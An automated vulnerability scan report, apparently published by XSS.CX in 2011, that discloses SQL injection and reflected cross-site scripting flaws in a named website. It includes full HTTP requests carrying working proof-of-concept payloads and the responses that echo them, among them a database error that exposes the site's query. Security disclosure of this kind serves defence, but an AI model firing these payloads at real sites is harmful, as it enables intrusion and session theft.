SQL Injection, XSS, sonomafamilylife.com, CWE-79, CWE-89

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 17 07:58:38 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.


XSS.CX Home XSS.CX Research Blog
Loading

1. SQL injection

2. Cross-site scripting (reflected)

2.1. http://www.sonomafamilylife.com/ [name of an arbitrarily supplied request parameter]

2.2. http://www.sonomafamilylife.com/ajax/slideshow.php [REST URL parameter 1]

2.3. http://www.sonomafamilylife.com/ajax/slideshow.php [REST URL parameter 2]

2.4. http://www.sonomafamilylife.com/ajax/slideshow.php [l parameter]

2.5. http://www.sonomafamilylife.com/favicon.ico [REST URL parameter 1]

2.6. http://www.sonomafamilylife.com/favicon.ico [name of an arbitrarily supplied request parameter]

2.7. http://www.sonomafamilylife.com/javascript/class.bwAjax.js [REST URL parameter 1]

2.8. http://www.sonomafamilylife.com/javascript/class.bwAjax.js [REST URL parameter 2]

2.9. http://www.sonomafamilylife.com/javascript/jquery_1.4.2.js [REST URL parameter 1]

2.10. http://www.sonomafamilylife.com/javascript/jquery_1.4.2.js [REST URL parameter 2]

2.11. http://www.sonomafamilylife.com/javascript/php.js [REST URL parameter 1]

2.12. http://www.sonomafamilylife.com/javascript/php.js [REST URL parameter 2]

2.13. http://www.sonomafamilylife.com/javascript/slideshow.js [REST URL parameter 1]

2.14. http://www.sonomafamilylife.com/javascript/slideshow.js [REST URL parameter 2]

2.15. http://www.sonomafamilylife.com/main.css [REST URL parameter 1]

2.16. http://www.sonomafamilylife.com/main.js [REST URL parameter 1]

2.17. http://www.sonomafamilylife.com/mod/calendar/style/index.css [REST URL parameter 1]

2.18. http://www.sonomafamilylife.com/mod/calendar/style/index.css [REST URL parameter 2]

2.19. http://www.sonomafamilylife.com/mod/calendar/style/index.css [REST URL parameter 3]

2.20. http://www.sonomafamilylife.com/mod/calendar/style/index.css [REST URL parameter 4]

2.21. http://www.sonomafamilylife.com/mod/calendar/style/main.css [REST URL parameter 1]

2.22. http://www.sonomafamilylife.com/mod/calendar/style/main.css [REST URL parameter 2]

2.23. http://www.sonomafamilylife.com/mod/calendar/style/main.css [REST URL parameter 3]

2.24. http://www.sonomafamilylife.com/mod/calendar/style/main.css [REST URL parameter 4]

2.25. http://www.sonomafamilylife.com/mod/calendar/style/mini.css [REST URL parameter 1]

2.26. http://www.sonomafamilylife.com/mod/calendar/style/mini.css [REST URL parameter 2]

2.27. http://www.sonomafamilylife.com/mod/calendar/style/mini.css [REST URL parameter 3]

2.28. http://www.sonomafamilylife.com/mod/calendar/style/mini.css [REST URL parameter 4]

2.29. http://www.sonomafamilylife.com/site.css [REST URL parameter 1]

2.30. http://www.sonomafamilylife.com/site.js [REST URL parameter 1]

3. Cookie without HttpOnly flag set

3.1. http://www.sonomafamilylife.com/

3.2. http://www.sonomafamilylife.com/ajax/slideshow.php

4. Cross-domain POST

4.1. http://www.sonomafamilylife.com/

4.2. http://www.sonomafamilylife.com/

4.3. http://www.sonomafamilylife.com/favicon.ico

4.4. http://www.sonomafamilylife.com/favicon.ico

5. Cross-domain script include

5.1. http://www.sonomafamilylife.com/

5.2. http://www.sonomafamilylife.com/favicon.ico

6. Content type incorrectly stated



1. SQL injection  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.sonomafamilylife.com
Path:   /ajax/slideshow.php

Issue detail

The l parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the l parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Request

GET /ajax/slideshow.php?SID=dv5erp1b5sbn769524aiabd600&s=114&l=10'&r=0.14164535312009355 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:09:40 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600; expires=Wed, 16-Mar-2011 19:09:40 GMT; path=/
Set-Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600; path=/
Content-Length: 383
Content-Type: text/html; charset=UTF-8

<br /><br />MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1, occured in query: "SELECT article_id, headline, headline_url, leadline, url_thumbnail F
...[SNIP]...

2. Cross-site scripting (reflected)  previous  next
There are 30 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.



2.1. http://www.sonomafamilylife.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload afd60"><script>alert(1)</script>f9167255a4e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?afd60"><script>alert(1)</script>f9167255a4e=1 HTTP/1.1
Host: www.sonomafamilylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 17:48:57 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=alq25qm04lji0qpjq263u93el6; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 57207

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/?afd60"><script>alert(1)</script>f9167255a4e=1&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.2. http://www.sonomafamilylife.com/ajax/slideshow.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /ajax/slideshow.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f029"><script>alert(1)</script>c3ed64a4695 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ajax7f029"><script>alert(1)</script>c3ed64a4695/slideshow.php?SID=dv5erp1b5sbn769524aiabd600&s=114&l=10&r=0.14164535312009355 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:10:15 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32382

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/ajax7f029"><script>alert(1)</script>c3ed64a4695/slideshow.php?SID=dv5erp1b5sbn769524aiabd600&s=114&l=10&r=0.14164535312009355&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.3. http://www.sonomafamilylife.com/ajax/slideshow.php [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /ajax/slideshow.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99886"><script>alert(1)</script>4dc6567f1a8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ajax/slideshow.php99886"><script>alert(1)</script>4dc6567f1a8?SID=dv5erp1b5sbn769524aiabd600&s=114&l=10&r=0.14164535312009355 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:10:25 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32382

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/ajax/slideshow.php99886"><script>alert(1)</script>4dc6567f1a8?SID=dv5erp1b5sbn769524aiabd600&s=114&l=10&r=0.14164535312009355&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.4. http://www.sonomafamilylife.com/ajax/slideshow.php [l parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /ajax/slideshow.php

Issue detail

The value of the l request parameter is copied into the HTML document as plain text between tags. The payload 61561<img%20src%3da%20onerror%3dalert(1)>270e0c1171a was submitted in the l parameter. This input was echoed as 61561<img src=a onerror=alert(1)>270e0c1171a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /ajax/slideshow.php?SID=dv5erp1b5sbn769524aiabd600&s=114&l=1061561<img%20src%3da%20onerror%3dalert(1)>270e0c1171a&r=0.14164535312009355 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:09:39 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600; expires=Wed, 16-Mar-2011 19:09:39 GMT; path=/
Set-Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600; path=/
Content-Length: 462
Content-Type: text/html; charset=UTF-8

<br /><br />MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<img src=a onerror=alert(1)>270e0c1171a'
...[SNIP]...
ured in query: "SELECT article_id, headline, headline_url, leadline, url_thumbnail FROM bwcore_article WHERE article_status = 'A' AND article_section_id IN ('114') order by date_activated desc limit 1061561<img src=a onerror=alert(1)>270e0c1171a".

2.5. http://www.sonomafamilylife.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa4bc"><script>alert(1)</script>80fbb699285 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoaa4bc"><script>alert(1)</script>80fbb699285 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:45:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32098

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/favicon.icoaa4bc"><script>alert(1)</script>80fbb699285?calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.6. http://www.sonomafamilylife.com/favicon.ico [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ff30"><script>alert(1)</script>c0ae5441f84 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?1ff30"><script>alert(1)</script>c0ae5441f84=1 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:44:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32110

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/favicon.ico?1ff30"><script>alert(1)</script>c0ae5441f84=1&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.7. http://www.sonomafamilylife.com/javascript/class.bwAjax.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /javascript/class.bwAjax.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89fd7"><script>alert(1)</script>e518c67745f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /javascript89fd7"><script>alert(1)</script>e518c67745f/class.bwAjax.js?b=20090520 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:41 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32202

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/javascript89fd7"><script>alert(1)</script>e518c67745f/class.bwAjax.js?b=20090520&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.8. http://www.sonomafamilylife.com/javascript/class.bwAjax.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /javascript/class.bwAjax.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4df32"><script>alert(1)</script>32b17ba2851 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /javascript/class.bwAjax.js4df32"><script>alert(1)</script>32b17ba2851?b=20090520 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:58 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32202

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/javascript/class.bwAjax.js4df32"><script>alert(1)</script>32b17ba2851?b=20090520&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.9. http://www.sonomafamilylife.com/javascript/jquery_1.4.2.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /javascript/jquery_1.4.2.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1b4f"><script>alert(1)</script>45677f2e748 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /javascriptd1b4f"><script>alert(1)</script>45677f2e748/jquery_1.4.2.js?b=20100505 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:58 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32202

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/javascriptd1b4f"><script>alert(1)</script>45677f2e748/jquery_1.4.2.js?b=20100505&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.10. http://www.sonomafamilylife.com/javascript/jquery_1.4.2.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /javascript/jquery_1.4.2.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1837"><script>alert(1)</script>56434e96097 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /javascript/jquery_1.4.2.jsa1837"><script>alert(1)</script>56434e96097?b=20100505 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:09:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32202

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/javascript/jquery_1.4.2.jsa1837"><script>alert(1)</script>56434e96097?b=20100505&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.11. http://www.sonomafamilylife.com/javascript/php.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /javascript/php.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec758"><script>alert(1)</script>bb709267768 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /javascriptec758"><script>alert(1)</script>bb709267768/php.js?b=20090520 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:32 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32166

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/javascriptec758"><script>alert(1)</script>bb709267768/php.js?b=20090520&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.12. http://www.sonomafamilylife.com/javascript/php.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /javascript/php.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3071"><script>alert(1)</script>7a5f2bff515 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /javascript/php.jsc3071"><script>alert(1)</script>7a5f2bff515?b=20090520 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:39 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32166

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/javascript/php.jsc3071"><script>alert(1)</script>7a5f2bff515?b=20090520&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.13. http://www.sonomafamilylife.com/javascript/slideshow.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /javascript/slideshow.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a92f8"><script>alert(1)</script>aa1bccabce8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /javascripta92f8"><script>alert(1)</script>aa1bccabce8/slideshow.js?b=20090520 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
